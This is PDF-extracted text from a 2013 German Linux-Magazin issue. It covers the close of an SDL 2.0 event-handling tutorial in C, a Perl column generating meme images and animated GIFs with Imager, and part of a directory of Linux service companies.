»SDL_Event«. Diese speichert in der Variablen<br />
»type«, um welche Art Ereignis es<br />
sich handelt. Drückt der Anwender eine<br />
Taste, besitzt »type« den Wert »SDL_KEY-<br />
DOWN«. Um welche Taste es sich dabei<br />
handelt, verrät das Ereignis in der Variablen<br />
»ereignis.key.keysym.scancode«.<br />
Die Tastennummer übersetzt »SDL_Get-<br />
ScancodeName()« in den entsprechenden<br />
Buchstaben beziehungsweise die Tastenbezeichnung.<br />
Da die Tastatur auf jedem System anders<br />
belegt ist, weist die SDL jeder Taste<br />
noch einen symbolischen Namen zu.<br />
Er liegt in der Variablen »ereignis.key.<br />
keysym.sym«, die Funktion »SDL_Get-<br />
KeyName()« macht daraus ein lesbares<br />
Ergebnis (siehe Abbildung 5). Sofern der<br />
Anwender in das Fenster klickt, erzeugt<br />
er ein Ereignis vom Typ »SDL_MOUSE-<br />
BUTTONDOWN«. Die Koordinaten des<br />
Mauszeigers liegen dabei in den Variablen<br />
»ereignis.motion.x« und »ereignis.<br />
motion.y«. Ein Spiel würde diese Koordinaten<br />
auswerten und prüfen, welches<br />
Spielobjekt darunterliegt.<br />
Das Ereignis »SDL_QUIT« löst der Anwender<br />
aus, wenn er das Programm schließt.<br />
Neben diesen drei vorgestellten kennt die<br />
SDL noch viele weitere Ereignisse [4].<br />
Lässt der Anwender beispielsweise eine<br />
Taste los, erzeugt das ein »SDL_KEYUP«-<br />
Ereignis.<br />
Runden drehen<br />
Im Unterschied zur SDL 1.2 legt »SDL_<br />
WaitEvent()« die Anwendung beziehungsweise<br />
den Prozess nicht mehr<br />
Listing 2: Ein Fenster öffnen, Bild und Textur laden und Tastendrücke registrieren<br />
01 #include <br />
02 #include "SDL2/SDL.h"<br />
03 <br />
04 int main(int argc, char** argv){<br />
05 <br />
06 // SDL initialisieren:<br />
07 if (SDL_Init(SDL_INIT_EVERYTHING) != 0){<br />
08 printf("Fehler: %s \n", SDL_GetError());<br />
09 return 1;<br />
10 }<br />
11 <br />
12 // Fenster öffnen:<br />
13 SDL_Window *fenster = SDL_CreateWindow("Hallo Welt!", 250, 300, 640,<br />
480, SDL_WINDOW_SHOWN);<br />
14 <br />
15 // Renderer erstellen:<br />
16 SDL_Renderer *renderer = SDL_CreateRenderer(fenster, ‐1,<br />
SDL_RENDERER_ACCELERATED | SDL_RENDERER_PRESENTVSYNC);<br />
17 <br />
18 // Zeichenfarbe auf Schwarz setzen und dann Fenster leeren:<br />
19 SDL_SetRenderDrawColor(renderer, 235, 235, 235, 255);<br />
20 SDL_RenderClear(renderer);<br />
21 <br />
22 // Bild laden:<br />
23 SDL_Surface *bild = SDL_LoadBMP("logo.bmp");<br />
24 <br />
25 // Textur erzeugen und Surface löschen:<br />
26 SDL_Texture *textur = SDL_CreateTextureFromSurface(renderer, bild);<br />
27 SDL_FreeSurface(bild);<br />
28 <br />
29 // Größe und Position des Bildes im Fenster festlegen:<br />
30 SDL_Rect pos;<br />
31 pos.x = 150;<br />
32 pos.y = 100;<br />
33 SDL_QueryTexture(textur, NULL, NULL, &pos.w, &pos.h);<br />
34 <br />
35 // Textur in das Fenster kleben:<br />
36 SDL_RenderCopy(renderer, textur, NULL, &pos);<br />
37 <br />
38 // Anzeigen:<br />
39 SDL_RenderPresent(renderer);<br />
40 <br />
41 // Warte auf Tastendruck oder Mausklick:<br />
42 SDL_Event ereignis;<br />
43 int quit=1;<br />
44 while(quit) {<br />
45 SDL_WaitEvent(&ereignis);<br />
46 switch(ereignis.type) {<br />
47 case SDL_QUIT:<br />
48 printf("Fenster geschlossen\n");<br />
49 quit=0;<br />
50 break;<br />
51 case SDL_KEYDOWN:<br />
52 printf("Tastendruck\n");<br />
53 printf("Physische Taste %s als Taste %s gedrückt\n",<br />
54 SDL_GetScancodeName(ereignis.key.keysym.scancode),<br />
55 SDL_GetKeyName(ereignis.key.keysym.sym));<br />
56 quit=0;<br />
57 break;<br />
58 case SDL_MOUSEBUTTONDOWN:<br />
59 printf("Linke Maustaste gedrückt an\n");<br />
60 printf("Position: (%d, %d)\n", ereignis.motion.x,<br />
ereignis.motion.y);<br />
61 quit=0;<br />
62 break;<br />
63 }<br />
64 }<br />
65 <br />
66 SDL_DestroyTexture(textur);<br />
67 SDL_DestroyRenderer(renderer);<br />
68 SDL_DestroyWindow(fenster);<br />
69 SDL_Quit();<br />
70 <br />
71 return 0;<br />
72 }
Abbildung 5: Im unteren Beispiel hat der Anwender<br />
die physische Taste [;] gedrückt, die auf seiner<br />
deutschen Tastatur aber mit dem [ö] belegt ist.<br />
Der Programmierer sollte möglichst den virtuellen<br />
Keycode auswerten.<br />
schlafen. Stattdessen durchläuft »SDL_<br />
WaitEvent()« intern einfach so lange eine<br />
Schleife, bis ein Ereignis auftritt. Die Entwickler<br />
haben jedoch schon angedroht,<br />
dass sich dieses Verhalten in Zukunft<br />
noch einmal ändern kann.<br />
Endreinigung<br />
Zum Schluss gilt es, noch etwas aufzuräumen.<br />
So sollte der Entwickler den<br />
von der Textur belegten Speicher wieder<br />
freigeben, den Renderer und das Fenster<br />
zerstören sowie die SDL noch einmal<br />
feucht durchwischen lassen:<br />
Die Entwickler empfehlen daher, möglichst<br />
die Kommentare in den Headerdateien<br />
als Referenz zu nutzen.<br />
Umsteiger von der alten Version 1.2<br />
sollten zudem unbedingt den Migration<br />
Guide lesen [6]. Ein gut gemachtes Tutorial<br />
für C++-Entwickler findet sich nur<br />
auf Github [7]. Alle anderen Anleitungen<br />
im Internet bezogen sich zum Redaktionsschluss<br />
noch auf die alte SDL 1.2.<br />
Fazit<br />
Die SDL 2.0 vereinfacht das Programmieren<br />
plattformunabhängiger Multimedia-Anwendungen<br />
enorm. Listing 2<br />
läuft unverändert auf allen unterstützten<br />
Systemen. Die neuen Funktionen, etwa<br />
die Unterstützung von mehreren Fenstern<br />
sowie die Grafikbeschleunigung, waren<br />
überfällig und machen Hacks aus der<br />
Vergangenheit überflüssig.<br />
Wie der Begriff Simple im Namen andeutet,<br />
ist die SDL jedoch auch weiterhin eine<br />
Low-Level-Bibliothek. Sie soll primär den<br />
Hardwarezugriff auf mehreren Plattformen<br />
vereinfachen und vereinheitlichen.<br />
Selbst die einfachen Zeichenfunktionen<br />
für Rechtecke und Kreise haben die Entwickler<br />
erst nach (vielfachen) Anwenderwünschen<br />
in die neue Version aufgenommen.<br />
Wer schnell zu Ergebnissen<br />
kommen möchte oder Prototypen baut,<br />
muss daher auf Spiele- oder 3-D-Engines<br />
wie Py Game, Unity oder Ogre 3D ausweichen.<br />
Die Entwickler haben einige<br />
ursprünglich für SDL 2.0 geplante Funktionen<br />
auf spätere Versionen verschoben.<br />
Das API soll jedoch vorerst stabil bleiben,<br />
erst für die Version 2.1 sind hier wieder<br />
Änderungen im Gespräch.<br />
Schwerer wiegt, dass die Version 2.0.0<br />
noch ein paar kleinere Fehler aufweist<br />
[8]. Trotzdem kommt die SDL 2.0 bereits<br />
in einigen Programmen zum Einsatz und<br />
läuft dort stabil. Wer mit der SDL Anwendungen<br />
entwickeln möchte, sollte jetzt<br />
nicht mehr auf die alte SDL 1.2 setzen<br />
– ihrer Nachfolgerin gehört eindeutig die<br />
Zukunft. (mhu)<br />
n<br />
Infos<br />
[1] SDL: [http:// www. libsdl. org]<br />
[2] Sprachanbindungen:<br />
[http:// www. libsdl. org/ languages. php]<br />
[3] Offizielle Hilfsbibliotheken:<br />
[http:// hg. libsdl. org/]<br />
[4] Liste mit Ereignissen: [http:// wiki. libsdl.<br />
org/ SDL_EventType? highlight=%28\<br />
bCategoryEnum\b%29|%28CategoryEvent<br />
s%29|%28SGEnumerations%29]<br />
[5] Offizielles SDL-Wiki:<br />
[http:// wiki. libsdl. org/ FrontPage]<br />
[6] Migration Guide:<br />
[http:// wiki. libsdl. org/ MigrationGuide]<br />
[7] C++-Tutorial:<br />
[http:// twinklebear. github. io/ pages/ sdl2/]<br />
[8] Bugtracker: [https:// bugzilla. libsdl. org/<br />
describecomponents. cgi? product=SDL]<br />
SDL 2.0 11/2013<br />
Programmieren<br />
www.linux-magazin.de<br />
99<br />
SDL_DestroyTexture(textur);<br />
SDL_DestroyRenderer(renderer);<br />
SDL_DestroyWindow(fenster);<br />
SDL_Quit();<br />
Das damit komplette Programm zeigt<br />
noch einmal Listing 2. Um die Übersichtlichkeit<br />
zu erhöhen, fängt es nur bei der<br />
Initialisierung einen Fehler ab. Übersetzt<br />
ist es schnell via:<br />
gcc ‐Wall ‐o hallowelt hallowelt.c ‐lSDL2<br />
Die Anwendung aus Listing 2 demonstriert<br />
nur einen kleinen Teil der Möglichkeiten,<br />
die die SDL bietet. Eine komplette<br />
Beschreibung des Funktionsumfangs<br />
würde ein ganzes Buch füllen. Leider ist<br />
gerade die Dokumentation ein Stiefkind<br />
der Entwickler. So bietet das offizielle<br />
SDL-Wiki (Abbildung 6) derzeit nur eine<br />
unvollständige Funktionsreferenz [5].<br />
Abbildung 6: Die SDL-Entwickler suchen derzeit händeringend nach Freiwilligen, die das Wiki aktualisieren.
Programmieren<br />
www.linux-magazin.de Perl-Snapshot 11/2013<br />
100<br />
Nicht nur für die Katz: Perl-maschinell erzeugte Memes<br />
Catwalk Orange<br />
Was harmlos mit ein paar sonderbaren Katzenbildern begann, ist zu dem Internetphänomen schlechthin angeschwollen:<br />
Memes, mit Witztexten versehene Fotos, und animierte Gag-Gifs. Kein Witz: Mit Perl lassen die sich<br />
prima selbst bauen und individuell gestalten. Michael Schilli<br />
© FreyaSapphire, photocase.com<br />
liest die Originaldatei »turtle.jpg« ein, das<br />
von mir persönlich auf Hawaii geschossene<br />
Urlaubsfoto von einer schwimmenden<br />
Riesenschildkröte.<br />
Den Font Impact fand ich in meiner<br />
Ubuntu-Distribution als ».ttf«-Datei unter<br />
dem in Listing 1 (Zeilen 10 und 11)<br />
angegebenen Pfad. Zweimal die Methode<br />
»string()« aufgerufen, einmal mit der<br />
Fuß- und einmal mit der Kopfzeile, die<br />
Farbe mit »white« und die Fontgröße auf<br />
60 angegeben, Anti-Aliasing für schwachbrüstige<br />
Displays eingeschaltet und die<br />
Ausgabedatei mit »write()« geschrieben –<br />
fertig ist der Spitzenwitz (Abbildung 1).<br />
Variabler Komfort<br />
Sommerzeit, Praktikantenzeit: Wie immer<br />
über die Sommermonate beschäftigt<br />
mein Arbeitgeber Collegestudenten, und<br />
wir Altgediegenen kratzen uns die kahler<br />
werdenden Schädel ob des sonderbaren<br />
akademischen Nachwuchses. Besonders<br />
erstaunte in diesem Jahr der praktizierte<br />
Praktikantenhumor: Jede Präsentation<br />
zieren so genannte Image Macros [2]<br />
zum Zwecke der Erheiterung, entweder<br />
als statische Fotos oder als per Endlosschleife<br />
animierte Gifs.<br />
Was als „I Can Has Cheezburger“ [3] mit<br />
knuddeligen Kätzchen – den so genannten<br />
Lolcats – und kessen Sprüchen begann,<br />
ist heute als „Meme“ fester Bestandteil<br />
der netzweiten Humorkultur. Man nehme<br />
ein ausdrucksstarkes Bild und lege einen<br />
Online PLUS<br />
In einem Screencast demonstriert<br />
Michael Schilli das Beispiel: [http://<br />
www.linux-magazin.de/plus/2013/11]<br />
orthografisch oder grammatikalisch jenseitigen<br />
Spruch (Lolspeak) als Kopf- und<br />
Fußzeile im Font Impact darüber – und<br />
fertig ist der Witz (Abbildung 2).<br />
Meme oder Mem kommt aus dem Griechischen,<br />
„mimema“ meint dort etwas<br />
Imitiertes, und die evolutionäre Biologie<br />
beschreibt damit den Vorgang der sozialen<br />
Weitergabe kultureller Werte. Im<br />
Internet schließlich sind Memes ein sich<br />
per Mail, Chat oder soziale Netze virenartig<br />
verbreitendes Massenphänomen<br />
(Abbildung 3).<br />
Maschinell statt manuell<br />
Mit einem Grafikprogramm wie Gimp<br />
sind Image Macros auf konventionelle<br />
Weise recht schnell angefertigt, aber mit<br />
einem Perl-Skript geht es sogar von der<br />
Kommandozeile aus. Listing 1 zeigt die<br />
einfachste Version, die nur vorher ausgemessene<br />
Koordinaten für die Textstrings<br />
hart verdrahtet. Das CPAN-Modul Imager<br />
Für variable Textstrings muss das Skript<br />
diese dynamisch in der Mitte positionieren.<br />
Listing 2 nimmt drei Parameter<br />
entgegen – das zu modifizierende Bild,<br />
die Kopf- und die Fußzeile – und macht<br />
daraus ein Image Macro. Der Aufruf<br />
meme‐simple turtle.jpg "ARRIVING FIRST"U<br />
"SO NOT WORTH IT."<br />
erzeugt die Datei »turtle‐meme.jpg«.<br />
Hierzu definiert das Skript einen vertika-<br />
Abbildung 1: Auf der Kommandozeile per<br />
»meme‐first« erzeugter Zeitgeist-Witz.
len Abstand »$margin_y« von der Bildoberkante<br />
zur Kopfzeile respektive von<br />
der Bildunterkante zur Fußzeile. Die ab<br />
Zeile 56 definierte Funktion »dimensions«<br />
errechnet Breite und Höhe des mit<br />
dem Impact-Font der Größe 60 erzeugten<br />
Strings. Hierzu benutzt es die Methode<br />
»bounding_box()« eines Objekts vom Typ<br />
Imager::Font und übergibt ihm den gewünschten<br />
String.<br />
Zurück kommen Breite und Höhe in Pixeln,<br />
nachdem die Funktion die unter<br />
Umständen negative Koordinate des linken<br />
Rands des ersten Glyphen im String<br />
(»$neg_width«) von der Position am<br />
rechten Ende des Strings (»$pos_width)«<br />
subtrahiert hat. Analog verfährt sie mit<br />
der Position am oberen (»$asc«) beziehungsweise<br />
unteren (»desc«) Rand des<br />
Strings. Die Werte »$global_asc« und<br />
»$global_desc« spielen keine Rolle, da<br />
sie sich nicht auf den aktuellen String,<br />
sondern auf maximal mögliche Ausmaße<br />
beliebiger Glyphen beziehen.<br />
Die Zeilen 33 und 36 zentrieren dann<br />
Fuß- und Kopfzeile jeweils in der Mitte<br />
des Fotos, indem sie die mit »getwidth()«<br />
geholte Gesamtbreite des Fotos halbieren<br />
und die Hälfte der Stringbreite davon<br />
subtrahieren. Heraus kommt jeweils die<br />
erforderliche Anfangskoordinate des zentrierten<br />
Strings als xy-Wertepaar, x läuft<br />
dabei von links nach rechts im Bild, y<br />
von oben nach unten.<br />
Abbildung 2: Klassiker der Moderne – eine Lolcat<br />
mit orthografisch bedenklichem Lolspeak.<br />
Listing 1: »meme‐first«<br />
01 #!/usr/local/bin/perl ‐w<br />
02 use strict;<br />
03 use Imager;<br />
04<br />
05 my $img = Imager‐>new(<br />
06 file => "turtle.jpg" ) or<br />
07 die Imager‐>errstr();<br />
08<br />
09 my $font = Imager::Font‐>new( file =><br />
10 "/usr/share/fonts/truetype" .<br />
11 "/msttcorefonts/Impact.ttf" );<br />
© Niccolò Capanti<br />
© Sarah Charlesworth<br />
Abbildung 3: Knorpelfisch mit Haus – typisches<br />
Beispiel eines Image-Macro-Mem.<br />
12<br />
13 $img‐>string( x => 337, y => 102,<br />
14 string => "ARRIVING FIRST",<br />
15 font => $font, size => 60,<br />
16 aa => 1, color => 'white' );<br />
17<br />
18 $img‐>string( x => 315, y => 600,<br />
19 string => "SO NOT WORTH IT.",<br />
20 font => $font, size => 60,<br />
21 aa => 1, color => 'white' );<br />
22<br />
23 $img‐>write( file => "turtle‐meme.jpg" );<br />
Perl-Snapshot 11/2013<br />
Programmieren<br />
www.linux-magazin.de<br />
101<br />
Listing 2: »meme‐simple«<br />
01 #!/usr/local/bin/perl ‐w<br />
02 use strict;<br />
03 use Imager;<br />
04<br />
05 my $margin_y = 100;<br />
06 my $font_size = 60;<br />
07 my $font_color = "white";<br />
08<br />
09 my( $file, $header, $footer ) = @ARGV;<br />
10<br />
11 die "usage: file header footer"<br />
12 if scalar @ARGV != 3;<br />
13<br />
14 my $img = Imager‐>new(<br />
15 file => $file ) or<br />
16 die Imager‐>errstr();<br />
17<br />
18 my $font = Imager::Font‐>new(<br />
19 file =><br />
20 "/usr/share/fonts/truetype/" .<br />
21 "msttcorefonts/Impact.ttf",<br />
22 size => $font_size,<br />
23 color => $font_color,<br />
24 );<br />
25<br />
26 my( $header_w, $header_h ) =<br />
27 dimensions( $font, $header );<br />
28<br />
29 my( $footer_w, $footer_h ) =<br />
30 dimensions( $font, $footer );<br />
31<br />
32 my $footer_x =<br />
33 ( $img‐>getwidth() ‐ $footer_w ) / 2;<br />
34<br />
35 my $header_x =<br />
36 ( $img‐>getwidth() ‐ $header_w ) / 2;<br />
37<br />
38 $img‐>string(<br />
39 x => $header_x, y => $margin_y,<br />
40 string => $header,<br />
41 font => $font, size => $font_size,<br />
42 aa => 1, color => $font_color );<br />
43<br />
44 $img‐>string(<br />
45 x => $footer_x,<br />
46 y => $img‐>getheight() ‐<br />
47 $margin_y + $footer_h,<br />
48 string => $footer,<br />
49 font => $font, size => $font_size,<br />
50 aa => 1, color => $font_color );<br />
51<br />
52 ( my $outfile = $file ) =~ s/\./‐meme./;<br />
53 $img‐>write( file => $outfile );<br />
54<br />
55 ###########################################<br />
56 sub dimensions {<br />
57 ###########################################<br />
58 my( $font, $string ) = @_;<br />
59<br />
60 my( $neg_width, $global_desc,<br />
61 $pos_width, $global_asc,<br />
62 $desc, $asc,<br />
63 ) = $font‐>bounding_box(<br />
64 string => $string );<br />
65<br />
66 return $pos_width ‐ $neg_width,<br />
67 $asc ‐ $desc;<br />
68 }
Programmieren<br />
www.linux-magazin.de Perl-Snapshot 11/2013<br />
102<br />
Abbildung 4: Aus dem Video lassen sich Frames mit dem Betrachterprogramm Eye of Gnome kopieren und als PNG-Bilder speichern.<br />
Wie in Listing 1 fügt in Listing 2 die<br />
Methode »string()« nun die beiden Textstrings<br />
im vorgegebenen Font in das Bild<br />
ein und die Methode »write()« schreibt<br />
das Ergebnis in eine um »‐meme« am<br />
Ende erweiterte Datei auf die Festplatte.<br />
Laufend witzig<br />
Noch lustiger wird’s mit animierten Kurzfilmchen.<br />
Ein animiertes Gif-Bild lädt der<br />
Browser in einem Rutsch vom Server und<br />
spielt die darin enthaltenen Frames bis<br />
zum Sankt-Nimmerleins-Tag ab, falls im<br />
Bild das Endlos-Flag gesetzt ist. Dieses<br />
Verfahren stammt aus dem Jahr 1987 und<br />
erfreut sich HTML 5 zum Trotz bis heute<br />
großer Beliebtheit, zumal es auch in Uraltbrowsern<br />
funktioniert. Die tonlosen Videosequenzen<br />
lassen sich problemlos in<br />
HTML einbetten, Wikipedia-Seiten etwa<br />
visualisieren damit Algorithmen oder das<br />
Zusammenspiel der beweglichen Teile<br />
mechanischer Apparaturen.<br />
Komiker unter den Softwa re-Entwicklern<br />
fügen Gifs in Powerpoint-Präsentationen<br />
und Kommentarfelder zu Pull-Requests<br />
auf Github ein. Die oft ruckelnden<br />
Frames erinnern an Slapstick-Szenen aus<br />
der Frühzeit des Kinos oder an tollpatschiges<br />
„Verstehen Sie Spaß?“-Material.<br />
01 #!/usr/local/bin/perl ‐w<br />
02 use strict;<br />
03 use Imager;<br />
04<br />
05 my @imgs = ();<br />
06<br />
07 for my $file_name ( @ARGV ) {<br />
08<br />
09 my $img = Imager‐>new( file => $file_name );<br />
10<br />
Listing 3: »anigif«<br />
Übrigens ist der seit Jahrzehnten schwelende<br />
Streit, ob man Gif wie „Giff“ oder<br />
„Tschiff“ ausspricht, bis heute ungeklärt.<br />
Nur die Front zwischen den Rechthabern<br />
hat sich verhärtet [4].<br />
Einzelne Frames strategisch aus einer<br />
Videodatei extrahieren, dafür eignet sich<br />
der Mplayer aufgerufen mit:<br />
mplayer ‐vf screenshot video.avi<br />
Während das Video läuft, drückt der User<br />
immer dann die Taste [S], wenn er den<br />
nächsten angezeigten Frame als PNG-<br />
Datei sichern will. Am Ende liegen im aktuellen<br />
Verzeichnis von »shot0000.png«<br />
bis »shotXXXX.png« durchnummerierte<br />
Dateien mit den geschossenen Frames<br />
(Abbildung 4).<br />
Damit die Gif-Datei nicht zu groß wird,<br />
sollte bei etwa 20 Frames insgesamt<br />
Schluss sein. Außerdem erfordern Szenen<br />
mit viel Bewegung eine schnellere<br />
Abfolge der Frames, damit der Betrachter<br />
mitkommt. Dazu hämmert man während<br />
der schnellen Szenen einfach doppelt so<br />
häufig auf [S] als sonst.<br />
Motiv: Schadenfreude<br />
Als Demo dient mir ein aus meinem Hotelzimmer<br />
an der Strandpromenade von<br />
11 $img = $img‐>scale( xpixels => 300,<br />
12 ypixels => 200 );<br />
13 push @imgs, $img;<br />
14 }<br />
15<br />
16 Imager‐>write_multi( {<br />
17 file => "anim.gif",<br />
18 type => 'gif',<br />
19 gif_loop => 0,<br />
20 make_colors => "mediancut" }, @imgs) or<br />
21 die Imager‐>errstr();<br />
Venice Beach nahe Los Angeles heraus<br />
gefilmte Szene [5]. Darin versucht ein<br />
Tourist verzweifelt, einen störrischen<br />
Segway-Roller zum Vermieter zurückzuschleppen.<br />
Schadenfreude ist bekanntlich<br />
die schönste Freude.<br />
Nach einem langen Drehtag zurück baut<br />
Listing 3 die Einzelframes mit Hilfe des<br />
Imager-Moduls zu einem animierten Gif-<br />
Filmchen zusammen:<br />
anigif shot*.png<br />
Die For-Schleife in Zeile 7 iteriert über<br />
alle auf der Kommandozeile hereingereichten<br />
Dateinamen. Mit der in Zeile 11<br />
gewählten Animationsgröße von 300 mal<br />
200 Pixeln und 26 verwendeten Frames<br />
erreicht das animierte Gif-Bild »anim.gif«<br />
rund 1 MByte.<br />
Die Methode »write_multi()« schreibt<br />
die vorher mit »new()« eingelesenen<br />
Frames als Gif-Datei auf die Festplatte.<br />
Die notwendigen Konvertierungen der<br />
Infos<br />
[1] Listings zu diesem Artikel:<br />
[ftp:// www. linux‐magazin. de/ pub/ listings/<br />
magazin/ 2013/ 11/ Perl]<br />
[2] Begriff Image Macro:<br />
[http:// en. wikipedia. org/ wiki/ Image_macro]<br />
[3] „I Can Has Cheezburger“:<br />
[http:// en. wikipedia. org/ wiki/ I_Can_Has_<br />
Cheezburger]<br />
[4] „Battle Over ’GIF’ Pronunciation Erupts“,<br />
New York Times:<br />
[http:// bits. blogs. nytimes. com/ 2013/ 05/<br />
23/ battle‐over‐gif‐pronunciation‐erupts/]<br />
[5] Michael Schilli, „Segway FAIL“ (Video):<br />
[http:// www. youtube. com/ watch?<br />
v=8_EbnF9xl‐g]<br />
[6] Animiertes Gif des „Segway FAIL“-Videos:<br />
[http:// perlmeister. com/ anim. gif]
Bildformate erfolgen automatisch hinter<br />
den Kulissen. Die Option »make_colors«<br />
mittelt mit »mediancut« die Farbtabelle<br />
zwischen den Frames und sorgt damit<br />
für schnellere Konvertierung. Wichtig ist<br />
es zudem, die Option »gif_loop« auf den<br />
Wert 0 zu setzen, was den Browser dazu<br />
veranlasst, die Sequenz nach dem Laden<br />
des Bildes immer und immer wieder abzuspulen<br />
(Abbildung 5).<br />
Zwecks Perfektionierung will ich alle<br />
Screenshots des Gif-Filmchens noch mit<br />
Abbildung 5: Das Gif läuft im Browser<br />
nun in einer Endlosschleife.<br />
einer lustigen Kopfzeile versehen, den<br />
Footer lasse ich leer. Dabei kommt das<br />
Skript aus Listing 1 erneut zu Ehren:<br />
for i in *.png<br />
do<br />
meme‐simple $i "SEGWAY FAIL" ""<br />
done<br />
Das abschließende Kommando »anigif<br />
shot*‐meme.png« liest alle Dateien mit<br />
der Endung »‐meme.png« ein und erzeugt<br />
das animierte Gif. Abbildung 6 zeigt ein<br />
Szenenbild des Meisterwerks.<br />
Über dem<br />
gesamten Filmchen<br />
thront 100 Pixel unterhalb<br />
des oberen<br />
Bildran ds bewegungslos<br />
die Überschrift mit<br />
dem Titel, da der<br />
String identisch in jeden<br />
einzelnen Frame<br />
eingebaut ist. Sie ist<br />
weiß und im Impact-<br />
Abbildung 6: Das animierte Gif erhält<br />
in allen Frames eine Kopfzeile.<br />
Witze-Font. Wer möchte, kann sich unter<br />
[6] das animierte Bild ansehen.<br />
Laufend Kopfarbeit<br />
Am Schneidetisch des Internethumors<br />
sitzend sinniere ich über weitere Gestaltungsmöglichkeiten:<br />
Sollte ich Witze<br />
automatisch aus Zufallstexten stanzen?<br />
Vielleicht mit Zitaten aus dem Kinofilm-<br />
Portal IMDB? Meine Praktikanten nächsten<br />
Sommer würden staunen. (jk) n<br />
Der Autor<br />
Michael Schilli arbeitet<br />
als Software-Engineer bei<br />
Yahoo in Sunnyvale, Kalifornien.<br />
In seiner seit 1997<br />
laufenden Kolumne forscht<br />
er jeden Monat nach praktischen<br />
Anwendungen der Skriptsprache Perl.<br />
Unter [mschilli@perlmeister. com] beantwortet<br />
er gerne Fragen.<br />
Perl-Snapshot 11/2013<br />
Programmieren<br />
www.linux-magazin.de<br />
103
Service<br />
www.linux-magazin.de IT-Profimarkt 11/2013<br />
106<br />
PROFI<br />
MARKT<br />
Sie fragen sich, wo Sie maßgeschneiderte<br />
<strong>Linux</strong>-Systeme und kompetente<br />
Ansprechpartner zu Open-Source-Themen<br />
finden? Der IT-Profimarkt weist Ihnen<br />
als zuverlässiges Nachschlagewerk<br />
den Weg. Die hier gelisteten Unternehmen<br />
beschäftigen Experten auf ihrem<br />
Gebiet und bieten hochwertige Produkte<br />
und Leistungen.<br />
Die exakten Angebote jeder Firma entnehmen<br />
Sie deren Homepage. Der ersten<br />
Orientierung dienen die Kategorien<br />
Hardware, Software, Seminaranbieter,<br />
Systemhaus, Netzwerk/TK und Schulung/Beratung.<br />
Der IT-Profimarkt-Eintrag<br />
ist ein Service von <strong>Linux</strong>-<strong>Magazin</strong><br />
und <strong>Linux</strong>User.<br />
Online-Suche<br />
Besonders bequem finden Sie einen<br />
<strong>Linux</strong>-Anbieter in Ihrer Nähe über die<br />
neue Online-Umkreis-Suche unter:<br />
[http://www.it-profimarkt.de]<br />
Informationen<br />
fordern Sie bitte an bei:<br />
Medialinx AG<br />
Anzeigenabteilung<br />
Putzbrunner Str. 71<br />
D-81739 München<br />
Tel.: +49 (0)89/99 34 11-23<br />
Fax: +49 (0)89/99 34 11-99<br />
E-Mail: anzeigen@linux-magazin.de<br />
IT-Profimarkt – Liste sortiert nach Postleitzahl<br />
1 = Hardware 2 = Netzwerk/TK 3 = Systemhaus<br />
4= Fachliteratur 4= Seminaranbieter 5 = Software 5 = Software 6 = Schulung/Beratung 6 = Firma Anschrift Telefon <strong>Web</strong> 1 2 3 4 5 6<br />
Schlittermann internet & unix support 01099 Dresden, Tannenstr. 2 0351-80 29 98-1 www.schlittermann.de √ √ √ √<br />
imunixx GmbH UNIX consultants<br />
01468 Moritzburg,<br />
Heinrich-Heine-Str. 4<br />
0351-8 39 75-0 www.imunixx.de √ √ √ √ √<br />
Heinlein Support GmbH 10119 Berlin, Schwedter Straße 8/9b 030-40 50 51-0 www.heinlein-support.de √ √ √ √ √<br />
TUXMAN Computer 10369 Berlin, Anton-Saefkow-Platz 8 030-97 60 97 73 www.tuxman.de √ √ √ √ √<br />
Compaso GmbH 10439 Berlin, Driesener Strasse 23 030-3 26 93 30 www.compaso.de √ √ √ √ √<br />
elego Software Solutions GmbH 13355 Berlin, Gustav-Meyer-Allee 25 030-2 34 58 69-6 www.elegosoft.com √ √ √ √<br />
verion GmbH 16244 Altenhof, Unter den Buchen 22 e 033363-46 10-0 www.verion.de √ √ √<br />
Logic Way GmbH 19061 Schwerin, Hagenower Str. 73 0385-3 99 34-48 www.logicway.de √ √ √ √<br />
Sybuca GmbH 20459 Hamburg, Herrengraben 26 040-27 86 31 90 www.sybuca.de √ √ √ √ √<br />
iTechnology GmbH 22083 Hamburg, Osterbekstrasse 90b 040-69 64 37 20 www.itechnology.de √ √ √ √<br />
JEL Ingenieurbuero 23911 Einhaus, Hauptstr. 7 04541-89 11-71 www.jeltimer.de √<br />
beitco - Behrens IT-Consulting 26197 Ahlhorn, Lessingstr. 27 04435-953 73 30-0 www.beitco.de √ √ √ √ √<br />
talicom GmbH<br />
30169 Hannover,<br />
Calenberger Esplanade 3<br />
0511-12 35 99-0 www.talicom.de √ √ √ √ √<br />
teuto.net Netzdienste GmbH 33602 Bielefeld, Niedenstr. 26 0521-9 66 86-0 www.teuto.net √ √ √ √ √<br />
MarcanT GmbH 33602 Bielefeld, Ravensberger Str. 10 G 0521-9 59 45-0 www.marcant.net √ √ √ √ √ √<br />
LINET Services GmbH 38118 Braunschweig, Cyriaksring 10a 0531-18 05 08-0 www.linet-services.de √ √ √ √ √ √<br />
OpenIT GmbH 40599 Düsseldorf, In der Steele 33a-41 0211-23 95 77-0 www.OpenIT.de √ √ √ √ √<br />
<strong>Linux</strong>-Systeme GmbH 45277 Essen, Langenbergerstr. 179 0201-29 88 30 www.linux-systeme.de √ √ √ √ √<br />
<strong>Linux</strong>hotel GmbH 45279 Essen, Antonienallee 1 0201-85 36-600 www.linuxhotel.de √<br />
OpenSource Training Ralf Spenneberg 48565 Steinfurt, Am Bahnhof 3-5 02552-63 87 55 www.opensource-training.de √<br />
Intevation GmbH 49074 Osnabrück, Neuer Graben 17 0541-3 35 08-30 osnabrueck.intevation.de √ √ √ √<br />
Sigs Datacom GmbH 53842 Troisdorf, Lindlaustraße 2c 02241-23 41-201 sigs-datacom.de √<br />
uib gmbh 55118 Mainz, Bonifaziusplatz 1b 06131-2 75 61-0 www.uib.de √ √ √ √<br />
LISA GmbH 55411 Bingen, Elisenhöhe 47 06721-4 99 60 www.lisa-gmbh.de √ √ √ √ √<br />
GONICUS GmbH 59755 Arnsberg, Moehnestr. 55 02932-91 60 www.gonicus.com √ √ √ √ √<br />
saveIP GmbH 64283 Darmstadt, Schleiermacherstr. 23 06151-66 62 66 www.saveip.de √ √ √ √ √<br />
LAMARC EDV-Schulungen und<br />
Beratung GmbH<br />
65193 Wiesbaden,<br />
Sonnenberger Straße 14<br />
0611-26 00 23 www.lamarc.com √ √ √ √<br />
<strong>Linux</strong>Haus Stuttgart 70565 Stuttgart, Hessenwiesenstrasse 10 0711-2 85 19 05 www.linuxhaus.de √ √ √ √ √<br />
Manfred Heubach EDV und<br />
Kommunikation<br />
